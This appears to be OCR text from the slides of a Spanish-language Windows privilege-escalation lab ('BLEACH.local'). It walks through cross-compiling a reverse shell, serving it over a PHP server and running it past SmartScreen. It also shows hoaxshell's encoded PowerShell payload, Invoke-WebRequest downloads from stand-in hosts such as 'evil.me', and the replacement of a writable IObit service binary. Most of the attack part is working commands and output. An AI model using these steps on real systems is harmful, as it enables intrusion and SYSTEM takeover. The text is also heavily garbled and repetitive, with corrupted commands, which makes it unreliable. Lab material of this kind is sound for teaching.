#include <stdlib.h>

int main ()
{
int user;

user = system("CMD-CODE");
return 9;

}

// 1686-w64-mingw32-gcc shell.c -o shell.exe

// x86_64-w64-mingw32-gcc shell.c -o shell64.exe
apt install mingw-wé64




BLEACH.local : PRIV. ESCALATION : LVL2

#include <stdlib.h>

int main ()

{

int user;
user = system("CMD-CODE");
return 9;

}

// 1686-w64-mingw32-gcc shell.c -o shell.exe
// x86_64-w64-mingw32-gcc shell.c -o shell64.exe
apt install mingw-w64

2 / \
“%Aﬁ(%%ﬁ“‘““"
ﬁx ; A}



BLEACH.local : PRIV. ESCALATION

[i_( a )-[~/Documents/mal |
i686-w64-mingw32-gcc runitin.c -o shell.exe

( )-[~/Documents/mal ]
{7_13

runitin.c shell.exe

[jﬁ( )~ ~/Documents/mal |
php -S 0.0.0.0:8080
[Sun Apr 23 13:11:39 2023] PHP 8.2.2 Development Server (http://0.0.0.0:8080) started

LVL2

-

[Sun Apr 23 13:12:04 2023] 10.0.9.5:56363 Accepted

[Sun Apr 23 13:12:04 2023] 10.0.9.5:56364 Accepted

[sun Apr 23 13:12:04 2023] 10.0.9.5:56363 [200]: GET /shell.exe

[Sun—Apr—23—13+12+64-2623116+6-9+5:56363Closing

[Sun Apr 23 13:12:49 2023] 10.0.9.5:56364 Closed without sending a request; it was probably just an unused speculative preconnection
[Sun Apr 23 13:12:49 2023] 10.0.9.5:56364 Closing

2C



BLEACH.local : PRIV. ESCALATION : LVL2

[j—(Va” )-[~/Documents/mal |
i686-w64-mingw32-gcc runitin.c -o shell.exe
[j% ; % kali)-[~/Documents/mal ]
1ls

runitin.c shell.exe

[:—( )~ ~/Documents/mal |
php -S 0.0.0.0:8080
[Sun Apr 23 13:11:39 2023] PHP 8.2.2 Development Server (http://0.0.0.0:8080) started

-

[Sun Apr 23 13:12:04 2023] 10.0.9.5:56363 Accepted

[Sun Apr 23 13:12:04 2023] 10.0.9.5:56364 Accepted

[Sun Apr 23 13:12:04 2023] 10.0.9.5:56363 [200]: GET /shell.exe

[Sun—Apr—23—13+12+64-2623116+6-9+5:56363Closing

[Sun Apr 23 13:12:49 2023] 10.0.9.5:56364 Closed without sending a request; it was probably just an unused speculative preconnection
[Sun Apr 23 13:12:49 2023] 10.0.9.5:56364 Closing

2C

Invoke-WebRequest "https://evil.me/evil.exe" -OutFile "C:\Windows\Temp\archive.exe"



BLEACH. local :

[:—(kei"'1%:"1)—[~/Documents/ma11
$| 1686-w64-mingw32-gcc runitin.c -o shell.exe

ali)-[~/Documents/mal]

(kali® ka
[:: ls

runitin.c shell.exe

[54&:'f‘»D‘“w)—f~/Documents/ma11
php -S 0.0.0.0:8080

PRIV. ESCALATION

[Sun Apr 23 13:11:39 2023] PHP 8.2.2 Development Server (http://0.0.0.0:8080) started
[Sun Apr 23 13:12:04 2023] 10.0.9.5:56363 Accepted

[Sun Apr 23 13:12:04 2023] 10.0.9.5:56364 Accepted

[Sun Apr 23 13:12:04 2023] 10.0.9.5:56363 [200]: GET /shell.exe

[Sun Apr 23 -13:12:04 2823] 18.0.9.5:56363 Closing

[Sun Apr 23 13:12:49 2023] 10.0.9.5:56364

[Sun Apr 23 13:12:49 2023] 10.0.9.5:56364 Closing

e

LVL2

Invoke-WebRequest "https://evil.me/evil.exe" -OutFile "C:\Windows\Temp\archive.exe"

https://github.com/izenynn/c-reverse-shell

https://github.com/AlexisAhmed/C-Reverse-Shell/blob/master/ReverseShell.c

\/\\/\

-

> 3\3“\#

Closed without sending a request; it was probably just an unused speculative preconnection


https://github.com/izenynn/c-reverse-shell
https://github.com/AlexisAhmed/C-Reverse-Shell/blob/master/ReverseShell.c

BLEACH.local : PRIV. ESCALATION : LVL2

https://github.com/izenynn/c-reverse-shell
https://github.com/AlexisAhmed/C-Reverse-Shell/blob/master/ReverseShell.c



https://github.com/izenynn/c-reverse-shell
https://github.com/AlexisAhmed/C-Reverse-Shell/blob/master/ReverseShell.c

BLEACH.local : PRIV. ESCALATION : LVL2

Nombre

Windows protegi6 su PC

[ shell.exe

SmartScreen de Microsoft Defender impidio el inicio de una aplicacién
desconocida. Si ejecutas esta aplicacién, podrias poner en riesgo el PC.

Aplicacion: shell.exe

Editor: Editor desconocido

Ejecutar de todas formas

https://github.com/izenynn/c-reverse-shell
https://github.com/AlexisAhmed/C-Reverse-Shell/blob/master/ReverseShell.c



https://github.com/izenynn/c-reverse-shell
https://github.com/AlexisAhmed/C-Reverse-Shell/blob/master/ReverseShell.c

BLEACH.local : PRIV. ESCALATION : LVL2

& | 4 || = | Documentos

m Inicio Herramientas de aplicacion

&

v 1 Eumentos Buscar en Documentos

E¥ Windows PowerShell

Windows PowerShell

# Acceso rapido Nombre Copyright (C) Microsoft Corporation. Todos los derechos reservados.

I o Windows protegio su PC

L 5=] shell.exe
& Descargas

=| Documentos SmartScreen de Microsoft Defender impidio el inicio de una aplicacién
desconocida. Si ejecutas esta aplicacién, podrias poner en riesgo el PC.

Prueba la nueva tecnologia PowerShell multiplataforma https://aka.ms/pscore6

PS C:\Users\jquerito> cd .\Documents\
PS C:\Users\jquerito\Documents> dir

5 S Directorio: C:\Users\jquerito\Documents
Aplicacion: shell.exe

Editor:

Editor desconocido Mode LastWriteTime Length Name

PS C:\Users\jquerito\Documents> .\shell.exe

Ejecutar de todas formas

https://github.com/izenynn/c-reverse-shell

https://github.com/AlexisAhmed/C-Reverse-Shell/blob/master/ReverseShell.c



https://github.com/izenynn/c-reverse-shell
https://github.com/AlexisAhmed/C-Reverse-Shell/blob/master/ReverseShell.c

BLEACH.local : PRIV. ESCALATION : LVL2

g < | Documentos
m Inicio Herramientas de aplicacion

- v 4 |Blymentos f i E¥ Windows PowerShell

Todos los derechos reservados.

# Acces 2 ! e ( -[~/Documents/hoaxshell]
B Escritorio hoaxshell.py 10.0.9.7 -c cert.pem -k key.pem -H "Aut
& Descargas

5| Documentos - - - = T - —

ion multiplataforma https://aka.ms/pscore6

[ shell.exe

o 5 3 32 2 3 2 2 uments
by t313machus

Enter PEM pass phrase: Length Name
[Info] Generating reverse shell payload.. 102260 shell.exe
powershell -e YQBKAGQALQBOAHKA: CABIHCAALAA AA0AdQBzAGKAbgBNACAAUWB5SAHMAJABTAGOALZBOAGUAJAA7AHUACWBPAGAAZWAGAFMAeQBZAHQAZQBTACLAUWB
cgB1AHMAJABBAGWADABDAGUACgBOAHMAUABVAGWAaQB JAHKATAAGACAASQBDAGUACZBOAGKAZgBpAGMAYQBOAGUAUABVAGWAaQB JAHKATAB7AHAAdQBIAGWAaQB JACAAY ! 1 . exe
AAOQBDAGUACgBOAGKAZgBpAGMAYQBOAGUAIAB JAGUACZBOAGKAZgBpAGMAYQBOAGUALABXAGUAYZBSAGUACQBIAGUACWBOACAACEBLAHEAJQBTAHMAJAASACAAaQBUAHQ
AGUACcgB2AGKAYw! ByAFOAOgAGAEMAZQBYAHQAaQBmMAGKAYwWBhAHQAZQBQAGBADABPAGMAeQAZADOATABOAGUAdWATAEBAYEBgA
BLACGAMAB AD DKAOQAXACCAONA: AADQAHA dABOAHAACWABACBALWANADSAJAB2ADOASQBUAHYADWBrAGUALQBXAGUAYgB!
QAB7ACIAQQB1 i C GGMSQBJACL I CACOAdAB,AF ”ZQALAksaJAB JADDAKABIAGLAdgBVAGSAZQATAFCAZ
MAIABAAHS. ‘IﬂﬁBAPLAdaBP“ L gACgAJABJACAALQBUAGUATAANAE4ADWBUAGU
AHUAdAAtAFMAdABYAGKAbEBNACAZ AZQAtAFCAZQBiAFIAZQBXAHUAZQBZAHQATAALA
BpAGBADgAIADOAJABPAHOATAATA Au\APKaIAAuAtQAfUA
[Info] Type "help" to get a 115t of the available prompt commands.
[Info] Https Server started on port 443.
[‘ ant] Awaiting payload execution to initiate shell session...
: 1] Payload execution verified!
[G:: 1] Stabilizing command prompt ...
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PS C:\Users\jquerito\Documents > [|

https://qithub.com/izenynn/c-reverse-shell OIS e
https://github.com/AlexisAhmed/C-Reverse-Shell/blob/master/ReverseShell.c 3



https://github.com/izenynn/c-reverse-shell
https://github.com/AlexisAhmed/C-Reverse-Shell/blob/master/ReverseShell.c

BLEACH.local : PRIV. ESCALATION

Proteccion basada en reputacion

Esta configuracién protege el dispositivo de aplicaciones, archivos y sitios
web malintencionados o potencialmente no deseados.

Configuracién de Proteccion basada en reputacion

E Proteccion contra vulnerabilidades

La protecciéon contra vulnerabilidades de seguridad esta integrada en
Windows 10 para mantener el dispositivo protegido ante ataques. El
dispositivo esta preestablecido en la configuracidon de proteccidon que
mejor se adapta a la mayoria de los usuarios.

Configuracién de proteccién contra vulnerabilidades

Mas informacion

LVL2

o

L
o
2C



BLEACH.local : PRIV. ESCALATION : LVL2

Proteccion basada en reputacion

Esta configuracién protege el dispositivo de aplicaciones, archivos y sitios
web malintenciona

Configuracién de Pri <te .
i Proteccidn contra alteraciones
Impide que otras personas alteren caracteristicas de seguridad

g importantes.
E Proteccion

La proteccion cont @D Activado
Windows 10 para r
dispositivo esta pre
mejor se adapta a

Mas informacién

Configuracién de proteccién contra vulnerabilidades

Mas informacion




BLEACH.local : PRIV. ESCALATION : LVL2

"!n

£¥ Windows PowerShell

[PS C:\Users\jquerito> powershell -= YQBKAGQALQB@AHKACAB1ACAAQAAiAAOACQBzAGKAbEBNACAAUWBSAHMAGABIAGOAL gBOAGUAAA7AHUACWBD
‘AGAAZWAgAFMAeQBzAHQAZQBtACAAUWB1AGMAdQBYAGKAJABSACAAQWBYAHKACABAAGBAZWBYAGEACABOAHKAL gBYADUAMAASAEMAZQBYAHQAQBMAGKAYWBh
AHQAZQBzADSACEBWAHUAYgBSAGKAYWAZAGMADABhAHMACWAEAFQACgB1AHMAQABBAGWADABDAGUACgB@AHMAUABVAGWAaQB jAHKATAAGACAASQBDAGUACEBO
AGKAZgBpAGMAYQB@AGUAUABVAGWAaQB AHKATAB7AHAAIQBiAGWAaQBACAAYBVAGBADAAZAEMAABLAGMAaWBWAGEADABPAGQAYQBAAGKAbWBUAFIAZQBzZ
AHUADAB@ACZACEBTAGUACEB2AGKAYWB1AFAAbWBPAGAAdAAZAHMA CgB2AFAAbWBPAGAAdAASACAAWAATADAAOQBDAGUACEBBAGKAZgBpAGMAYQBBAGUATIAB]
AGUACgB@AGKAZgBpAGMAYQBOAGUALABXAGUAYgBSAGUACQB1AGUACWBOACAACEB1AHEAdQB1AHMAJAASACAAGQBUAHQATABIAGUACEBOAGKAZBPAGMAYQB®
IAGUAUABYAGBAYgBsAGUAbQAPACAAewByAGUAJAB1AHIAbgAZAHQACgB1AGUAOWBOAHOACEAIAEAACEBbAFMAeQBZAHQAZQBLACAATgB1AHQALgBTAGUACEB2
'AGKAYwB1AFAAbWBPAGAAdABNAGEAbZBhAGCAZQBYAF@AOZAGAEMAZOBYAHQAaQBMAGKAYWBhAHQAZQBOAGBADABPAGHMAEQAZADAATABOAGUAdWALAEBAYgB]
2 AGUAYWB@ACAAVABYAHUACWB@AEEADABSAEMAZQBYAHQACWBQAGBADABPAGMAEQAKACQACWAIACCAMQAWACAAMAAUADKAL gA3ADOANAAGADMAIWA7ACQAEQAI
YOU get a virus ACCANAAWAGEAMgBhADAAMWB1ACBANZAIADIAYWAGADIANEA3ACOAYWASADQAMZBFAGIAOAAZACCAOWAKAHAAPQANAGEZAJABBAHAA CWABACSALWANADSAJAB2
AD@ASQBUAHYAbWBrAGUALQBXAGUAYgBSAGUACQB1AGUACWB@ACAALQBVAHMAZQBCAGEACWBPAGMAUABhAHIACWBPAGAAZWAZACPAVQBYAGKATAAKAHAATABzZ
. ACBANAAWAGEAMgBhADAAMWB1ACAALQBIAGUAYQBKAGUACEBzACAAQAB7ACIAQQB1AHQAaABVAHIAaQB6AGEAdABPAGBAbEA1ADRAIABPAHOAOWB3AGEAEQBS
AGUATAAOACQAJABYAHUAZQAPAHSAJABADBAKABIAGAAdEBVAGSAZQALAF CAZQBiAFIAZQBXAHUAZQBZAHQATAALAFUACWB1AEIAYQBzAGKAYWBQAGEACEBzZ
AGKAbgBnACAALQBVAHIAaQAZACQACAAKAHMAL wA2ADUAMZBADQAMEA2ADCATAALAEEAZQBhAGQAZQBYAHMATABAAHSAT gBBAHUAdABOAGBACEBpAHOAYQB@

: AGKAbWBUACTAPQAKAGKAFQAPACAAQWBVAGAAdABLAGAAdAATAGKAZgAEACEATABIACAALQBUAGUATAANAESAbWBUAGUAIWAPACAAeWAKAHIAPQBPAGUACAAE
ACQAYWAZACPARQBYAHIAbWBYAEEAYWBOAGKAbWBUACAAUWBOAGBACAAZACBARQBYAHIAbWBYAFYAYQBYAGKAYQBiAGWAZQAZAGUAOWAKAHIAPQBPAHUAdAAL

AFMAJABYAGKAbgBNACAALQBIAGAACAB1AHQATWB1iAGOAZQB AHOATAAKAHIAOWAKAHQAPQBIAGAAdgBVAGSAZQALAF cAZQBiAF IAZOBXAHUAZQBZAHQATAAL
AFUAcgBpACAAJABWACQACWAVAGMAOAAGADIAYwWBiADgAMWAZACBATQBLAHQAaABVAGQAIABQAEBAUWBUACAALQBIAGUAYQBKAGUACgBZACAAQAB7ACIAQQBL

" PS C:\Users\jquerito>
l
Windows Defender

Windows Defender when

AHQAaABVAHIAaQBAAGEAJABPAGS8AbgAiADBAIABPAHOATAATAEIAbWBKAHKATAACACQAZQArACQACEAPAHBATABZAGWAZQBLAHAATAAWACAAOABIAA==




BLEACH.local : PRIVILEGE ESCALATION : LVL2

https://github.com/AlexisAhmed/C-Reverse-Shell/blob/master/ReverseShell.c

https://github.com/izenynn/c-reverse-shell



https://github.com/izenynn/c-reverse-shell
https://github.com/AlexisAhmed/C-Reverse-Shell/blob/master/ReverseShell.c

BLEACH.local : PRIVILEGE ESCALATION : LVL2

https://github.com/AlexisAhmed/C-Reverse-Shell/blob/master/ReverseShell.c

https://github.com/izenynn/c-reverse-shell

apt install mingw-wé64

./change_client.sh [CLIENT_IP] [CLIENT_PORT]

make



https://github.com/izenynn/c-reverse-shell
https://github.com/AlexisAhmed/C-Reverse-Shell/blob/master/ReverseShell.c

BLEACH.local : PRIVILEGE ESCALATION : LVL2

https://github.com/AlexisAhmed/C-Reverse-Shell/blob/master/ReverseShell.c

https://github.com/izenynn/c-reverse-shell

apt install mingw-wé64

./change_client.sh [CLIENT_IP] [CLIENT_PORT] 7 -
e

make

)
CUANTICO

i686-w64-mingw32-gcc-win32 -std=c99 windows.c -o rsh.exe -lws2_ 32

i686-w64-mingw32-gcc-win32 -std=c99 windows.c -o rsh.exe -1lws2_32 -D WAIT_FOR_CLIENT


https://github.com/izenynn/c-reverse-shell
https://github.com/AlexisAhmed/C-Reverse-Shell/blob/master/ReverseShell.c

BLEACH.local : PRIVILEGE ESCALATION : LVL2

https://github.com/AlexisAhmed/C-Reverse-Shell/blob/master/ReverseShell.c

https://github.com/izenynn/c-reverse-shell

apt install mingw-wé64

./change_client.sh [CLIENT_IP] [CLIENT_PORT] 7 -
e

make

)
CUANTICO

i686-w64-mingw32-gcc-win32 -std=c99 windows.c -o rsh.exe -lws2_ 32

i686-w64-mingw32-gcc-win32 -std=c99 windows.c -o rsh.exe -1lws2_32 -D WAIT_FOR_CLIENT


https://github.com/izenynn/c-reverse-shell
https://github.com/AlexisAhmed/C-Reverse-Shell/blob/master/ReverseShell.c

BLEACH.local : PRIVILEGE ESCALATION : LVL2

ServiceName : AdvancedSystemCareService13

Path : "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
ModifiableFile : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiableFilePermissions : {WriteOwner, Delete, WriteAttributes, Synchronize...}
ModifiableFileldentityReference : BLEACH\jquerito

StartName : LocalSystem

AbuseFunction : Install-ServiceBinary -Name 'AdvancedSystemCareService13'
CanRestart : False

Name : AdvancedSystemCareService13

Check : Modifiable Service Files




BLEACH.local : PRIVILEGE ESCALATION : LVL2

ServiceName : AdvancedSystemCareService13

Path : "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
ModifiableFile : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiableFilePermissions : {WriteOwner, Delete, WriteAttributes, Synchronize...}
ModifiableFileldentityReference : BLEACH\jquerito

StartName : LocalSystem

AbuseFunction : Install-ServiceBinary -Name 'AdvancedSystemCareService13'
CanRestart : False

Name : AdvancedSystemCareService13

Check : Modifiable Service Files




BLEACH.local : PRIVILEGE ESCALATION : LVL2

ServiceName : AdvancedSystemCareService13

Path : "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
ModifiableFile : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiableFilePermissions : {WriteOwner, Delete, WriteAttributes, Synchronize...}
ModifiableFileldentityReference : BLEACH\jquerito

StartName : LocalSystem

AbuseFunction : Install-ServiceBinary -Name 'AdvancedSystemCareService13'
CanRestart : False

Name : AdvancedSystemCareService13

Check : Modifiable Service Files

Invoke-WebRequest -Uri ‘http://<evil-ip>/rsh.exe' -OutFile 'C:\Program Files (x86)\IObit\Advanced.exe'



BLEACH.local : PRIVILEGE ESCALATION : LVL2

ServiceName : AdvancedSystemCareService13

Path : "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
ModifiableFile : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiableFilePermissions : {WriteOwner, Delete, WriteAttributes, Synchronize...}
ModifiableFileldentityReference : BLEACH\jquerito

StartName : LocalSystem

AbuseFunction : Install-ServiceBinary -Name 'AdvancedSystemCareService13'
CanRestart : False

Name : AdvancedSystemCareService13

Check : Modifiable Service Files

Invoke-WebRequest -Uri ‘http://<evil-ip>/rsh.exe' -OutFile 'C:\Program Files (x86)\IObit\Advanced.exe'

PS C:\Users\jquerito\Uownloads\mimikatz-master\mimikatz-master>
PS C:\Users\jquerito\Downloads\mimikatz-master\mimikatz-master> Invoke-WebRequest -Uri -OutFile =

| N



BLEACH.local : PRIVILEGE ESCALATION : LVL2

ServiceName : AdvancedSystemCareService13

Path : "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
ModifiableFile : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
ModifiableFilePermissions : {WriteOwner, Delete, WriteAttributes, Synchronize...}
ModifiableFileldentityReference : BLEACH\jquerito

StartName : LocalSystem

AbuseFunction : Install-ServiceBinary -Name 'AdvancedSystemCareService13'
CanRestart : False

Name : AdvancedSystemCareService13

Check : Modifiable Service Files

Invoke-WebRequest -Uri ‘http://<evil-ip>/rsh.exe' -OutFile 'C:\Program Files (x86)\IObit\Advanced.exe'

PS C:\Users\jquerito\Uownloads\mimikatz-master\mimikatz-master>
PS C:\Users\jquerito\Downloads\mimikatz-master\mimikatz-master> Invoke-WebRequest -Uri -OutFile =

i REBOOT IT !
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